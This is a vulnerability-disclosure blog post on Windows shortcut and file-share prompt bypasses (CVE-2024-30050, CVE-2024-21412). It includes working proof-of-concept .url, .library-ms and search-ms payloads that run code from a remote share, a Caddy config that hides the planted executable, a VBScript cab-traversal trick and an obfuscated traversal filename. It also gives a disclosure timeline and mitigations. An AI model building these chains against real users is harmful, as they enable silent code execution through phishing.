Don't Click Evil.txt: CVE-2024-30050 and Other Windows Silliness
TLDR:
.URL
files handle file shares and archives badly.LNK
files are bad and handle.URL
files badly- File shares handle filenames badly
These let you bypass user security prompts and execute commands without any warnings.
Intro#
Obtaining initial access is becoming increasingly challenging for attackers.
Microsoft has started treating Mark of the Web (MoTW) and SmartScreen as legitimate security protections, making it harder to trick users into running malicious files.
In this post, we’ll explore flaws in the handling of .url
shortcuts, malformed network share filenames, and inconsistencies with .lnk
and .cab
files which allow attackers to run arbitrary code without triggering warnings.
.url
WorkingDirectory Bypass#
.url
files are an Internet Explorer era file type that function as slimmed-down shortcut files. They look like this:
[InternetShortcut]
URL=https://aurainfosec.com
While their intended use is to link to websites, they can also reference local or remote files that execute when the .url
file is run. When you reference a remote file i.e. \\host\share\file.exe
you’ll get a big warning prompt.
However, when referencing a local file with the Url
parameter it will be executed without any prompts.
[InternetShortcut]
URL=C:\Windows\System32\cmd.exe
No arguments can be passed to the executable though, so this isn’t that useful yet.
There’s very little official documentation on .url
files, but Edward Blake made a good post here detailing some of the parameters you can use.
One of these parameters is WorkingDirectory
. It allows the working directory for the referenced executable to be defined, and this can be either be a local directory or remote file share.
[InternetShortcut]
Url=C:/Windows/System32/cmd.exe
WorkingDirectory=\\example.com\workingdir
What’s special about this is that there are a number of Windows-native executables that search the defined working directory for an executable or DLL and run it. One example of this is C:\Windows\System32\stordiag.exe
. When stordiag.exe
runs, it searches the working directory for powershell.exe
and executes it.
So, because we can define a remote working directory, we can call any executable powershell.exe
and place it in the external file share (I used calc.exe
). When the .url
file referencing stordiag.exe
is run, the external file share is searched and powershell.exe
is executed.
[InternetShortcut]
Url=C:/Windows/System32/stordiag.exe
WorkingDirectory=\\example.com\workingdir
Unfortunately, most browsers will reject the downloading of .URL
files, and trying to run one inside an archive results in a user prompt. But…
A .LNK
file, the more common shortcut file, will always give a user prompt when run from an archive unless the referenced file is a trusted file type. Fortunately, it just so happens that .URL
files are a trusted file type, meaning we can use a .LNK
to reference a remote .URL
that in turn references a local executable. This way, we can bypass all prompts while still using the remote working directory to execute arbitrary code.
Here’s the full chain:
Malformed Filename Within Share Bypass#
On a remote file share, if you name a file something like C:cmd.exe
(interpreted as C:\Windows\System32\cmd.exe
) and run it, it’ll open cmd.exe
without any prompts.
Much like the .url
WorkingDirectory issue, if it’s possible to set the working directory here to something remote while referencing something like C:stordiag.exe
(C:\Windows\System32\stordiag.exe
) it should search the external file share for any included DLLs or executables.
File shares set the working directory to the place where they were executed by default. As a result, we can use the same strategy of just popping any executable named powershell.exe
in the share, which will be run when C:stordiag.exe
is executed.
However, this requires convincing someone to directly connect and run an executable from a file share, which isn’t all that likely. Thankfully, there are a few file types that indirectly allow the opening of an external file share, namely .library-ms
and .searchconnector-ms
.
A .library-ms
looks like this:
<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
<name>@windows.storage.dll,-34582</name>
<ownerSID>1</ownerSID>
<version>7</version>
<isLibraryPinned>false</isLibraryPinned>
<iconStream>DefaultIcon1</iconStream>
<templateInfo>
<folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType>
</templateInfo>
<propertyStore>
<property name="ShowNonIndexedLocationsInfoBar" type="boolean"><![CDATA[false]]></property>
</propertyStore>
<searchConnectorDescriptionList>
<searchConnectorDescription>
<isDefaultSaveLocation>false</isDefaultSaveLocation>
<isDefaultNonOwnerSaveLocation>false</isDefaultNonOwnerSaveLocation>
<isSupported>false</isSupported>
<includeInStartMenuScope>false</includeInStartMenuScope>
<simpleLocation>
<url>\\example.com\share</url>
</simpleLocation>
</searchConnectorDescription>
</searchConnectorDescriptionList>
</libraryDescription>
With a .searchconnector-ms
just being the SearchConnectorDescription part:
<?xml version="1.0" encoding="UTF-8"?>
<searchConnectorDescription>
<isDefaultSaveLocation>false</isDefaultSaveLocation>
<isDefaultNonOwnerSaveLocation>false</isDefaultNonOwnerSaveLocation>
<isSupported>false</isSupported>
<includeInStartMenuScope>false</includeInStartMenuScope>
<simpleLocation>
<url>\\example.com\share</url>
</simpleLocation>
</searchConnectorDescription>
While a .searchconnector.ms
will set the WorkingDirectory to the remote share by default, a .library-ms
needs the OwnerSID
parameter set (it can be anything). I don’t know why.
However, C:stordiag.exe
is a bit suspicious, and it’s not super likely someone would click this. We can also use an absolute reference like C:\Windows\System32\stordiag.exe
or a UNC path like \\localhost\c$\windows\system32\stordiag.exe
.
By instead using a UNC path, we can add spaces and traversal sequences to obfuscate the true filename e.g.
echo 1 > 'cats.png \..\..\..\..\localhost\c$\windows\system32\stordiag.exe'
Which then gets displayed as:
But what about the powershell.exe
? Well, if you’re using Caddy for WebDAV, you can rewrite any requests to the base of the share (/
) to instead go to a different share. powershell.exe
won’t show up in the directory listing but will still be accessible when referenced directly.
Here’s the Caddyfile:
{
order webdav before file_server
}
<host> {
rewrite /<share with powershell.exe> /<share containing filesystem reference>
webdav
}
So:
- Share A has
powershell.exe
- Share B has a file named
c:stordiag.exe
- Caddy rewrites any requests to
\\example.com\ShareA
to\\example.com\ShareB
(but doesn’t rewrite requests to\\example.com\ShareA\powershell.exe
)
By doing this we have nice and reasonably clickable payload.
Of course, you could just use the previous .url
exploit instead which looks a whole lot better:
Neither .searchconnector-ms
nor .library-ms
are in Outlook’s blocked attachments list.
.url
+ .cab
Traversal Bypass (CVE-2024-21412)#
Referencing any ‘unsafe’ file with a .url
will give you a security prompt.
If you reference something like a .vbs
(VBScript) file within a .cab
it will instead throw an error, and it won’t be explorer.exe
that throws an error, it’ll be wscript.exe
. This is important because no prompts are given when the explorer.exe
part fails, and the wscript.exe
part only fails because it can’t handle cab files.
[InternetShortcut]
Url=file://h.dawg/cabtrav/error.cab/z.vbs
From ProcMon we can see the explorer.exe
fetching process fails when trying to traverse the cab file, but launches wscript.exe
pointing at the file anyway.
So how do we make wscript.exe
handle cab files? Well, looking at what wscript.exe
is actually running, you’ll see that the file share you’re referencing is encased in quotes.
For some reason certain executables in Windows don’t care about quotes, and ignore them completely. For example, if you run wscript.exe "C:\"a"s"d"f".v""b"s
it’ll run C:\asdf.vbs
.
So, if we can reference a file that forces an error in the explorer.exe process but forms a valid path when ignoring the "
characters, we can run the vbs without any prompts.
To demonstrate this, we need a few files in the share:
z.vbs
created with:
Set objShell = CreateObject("WScript.Shell")
objShell.Run "calc.exe"
.."\z".vbs
created with:
echo 1 > '.."\z".vbs'
test.cab
created with:
lcab '.."\z".vbs' test.cab
We also need to create the .url
payload: cab.url
[InternetShortcut]
Url=file://HOST/SHARE/test.cab/z".vbs
Clicking the .url
then results in the following flow:
explorer.exe
attempts to fetchz".vbs
inside the cab- It traverses into the cab, but
"
characters are invalid so it throws an error - The flow continues, and
wscript.exe
is launched with the command line"wscript.exe" "\\HOST\SHARE\test.cab\.."\z".vbs
- I don’t actually know why this adds the
.."
, since this is never defined in the.url
- The
"
characters are ignored, andwscript.exe
attempts to open\\HOST\SHARE\z.vbs
z.vbs
is executed without any prompts
When the .url
file is then run, the remote vbs is executed without any prompts:
While we can use a .lnk
pointing to a .url
to exploit this from a zip file, since this relies on an archive on the server the user is prompted for a place to extract. While this isn’t technically a security prompt, it’s strange enough that it might trigger some alarms for the person clicking.
It does, however, work in file shares, whether through the previously mentioned .searchconnector-ms
/ .library-ms
files or through a search-ms:
URL e.g.
search-ms:displayname=Files&crumb=kind:url&crumb=location:%5c%5c<HOST>%5C<SHARE>&search
Here’s an example attack chain:
.LNK
SLDF_HAS_DARWINID Bypass (CVE-2024-30050)#
.LNK
files are also ancient. When I was looking for a way to set a relative path for a .LNK
target I came across a list of creation flags.
typedef enum {
SLDF_DEFAULT = 0x00000000,
SLDF_HAS_ID_LIST = 0x00000001,
SLDF_HAS_LINK_INFO = 0x00000002,
SLDF_HAS_NAME = 0x00000004,
SLDF_HAS_RELPATH = 0x00000008,
SLDF_HAS_WORKINGDIR = 0x00000010,
SLDF_HAS_ARGS = 0x00000020,
SLDF_HAS_ICONLOCATION = 0x00000040,
SLDF_UNICODE = 0x00000080,
SLDF_FORCE_NO_LINKINFO = 0x00000100,
SLDF_HAS_EXP_SZ = 0x00000200,
SLDF_RUN_IN_SEPARATE = 0x00000400,
SLDF_HAS_LOGO3ID = 0x00000800,
SLDF_HAS_DARWINID = 0x00001000,
SLDF_RUNAS_USER = 0x00002000,
SLDF_HAS_EXP_ICON_SZ = 0x00004000,
SLDF_NO_PIDL_ALIAS = 0x00008000,
SLDF_FORCE_UNCNAME = 0x00010000,
SLDF_RUN_WITH_SHIMLAYER = 0x00020000,
SLDF_FORCE_NO_LINKTRACK = 0x00040000,
SLDF_ENABLE_TARGET_METADATA = 0x00080000,
SLDF_DISABLE_LINK_PATH_TRACKING = 0x00100000,
SLDF_DISABLE_KNOWNFOLDER_RELATIVE_TRACKING = 0x00200000,
SLDF_NO_KF_ALIAS = 0x00400000,
SLDF_ALLOW_LINK_TO_LINK = 0x00800000,
SLDF_UNALIAS_ON_SAVE = 0x01000000,
SLDF_PREFER_ENVIRONMENT_PATH = 0x02000000,
SLDF_KEEP_LOCAL_IDLIST_FOR_UNC_TARGET = 0x04000000,
SLDF_PERSIST_VOLUME_ID_RELATIVE = 0x08000000,
SLDF_VALID = 0x003FF7FF,
SLDF_RESERVED
} SHELL_LINK_DATA_FLAGS;
After applying every one of these flags to a LNK
, I noticed that I wasn’t getting any user prompts. By removing these one by one I determined that this was due to the inclusion of the SLDF_HAS_DARWINID
flag which, according to this article, indicates The link is a special Windows Installer link. I’m not sure what that means.
By simply making a shortcut file with this flag we can put it in a zip and have it execute without any warnings.
You can create a shortcut file with the SLDF_HAS_DARWINID
flag using the following tool.
Why is This Bad?#
All four of these allow attackers to bypass prompt-based security protections in Windows, making it easier to trick users into running malicious files. By abusing old file formats and inconsistencies in how Windows handles certain scenarios, attackers can execute arbitrary code on a victim’s machine without warnings.
While simply avoiding warning prompts may not seem like a big deal, compromising high-value targets through phishing is not easy. Techniques like these significantly increase the likelihood of success by reducing opportunities for victims to notice something is going on.
Submission Process#
All four of these were submitted in November / December 2023 via Microsoft’s MSRC bug submission program. Two were assigned CVEs (CVE-2024-30050, CVE-2024-21412), although looking at Trend Micro’s post on the same CVE this is completely different, so I’m not entirely sure what happened there.
The most impactful of these is probably the SLDF_HAS_DARWINID
bypass, as it doesn’t rely on SMB / WebDAV.
Disclosure Timeline:
- 26 Nov 2023 - Submission of malformed filename bypass to MSRC
- 2 Dec 2023 - Submission of CVE-2023-21412 and WorkingDirectory bypass
- 7 Dec 2023 - CVE-2023-21412 is closed as a non-issue
- 17 Dec 2023 - Submission of CVE-2024-30050
- 20 Dec 2023 - WorkingDirectory and malformed filename bypasses are closed as non-issues
- 22 Dec 2023 - WorkingDirectory bypass is re-opened
- 2 Feb 2024 - CVE-2023-21412 is re-opened
- 13 Feb 2024 - CVE-2023-21412 is fixed in Patch Tuesday
- 25 Apr 2024 - WorkingDirectory bypass gets indirectly mitigated by fix for CVE-2023-21412
- 14 May 2024 - Patch released for CVE-2024-30050
As of 9 July 2024:
.url
files are no longer considered safe within shares or as.lnk
targets, killing most good attack chains for both the working directory and traversal bugs- The malformed file name bypass is still exploitable
Recommendations#
- Disallow
.url
files from being run - Disallow any
.lnk
files in zips / shares from being opened - Disallow
.searchconnector-ms
,.library-ms
, and.search-ms
files downloaded from the internet being opened - Disallow SMB / WebDAV to the internet
- Three of these are reliant on outbound SMB / WebDAV, and restricting outbound connections should make them unexploitable from the Internet
Future Research Opportunities#
- The cab directory traversal through different command line handling probably shows up somewhere else
- Anything that lets you define a remote working directory can probably be exploited through the
stordiag.exe
method - The shortcut file creation flags are pretty interesting. There’s likely some more funny business you can do there. If you find something cool let me know :)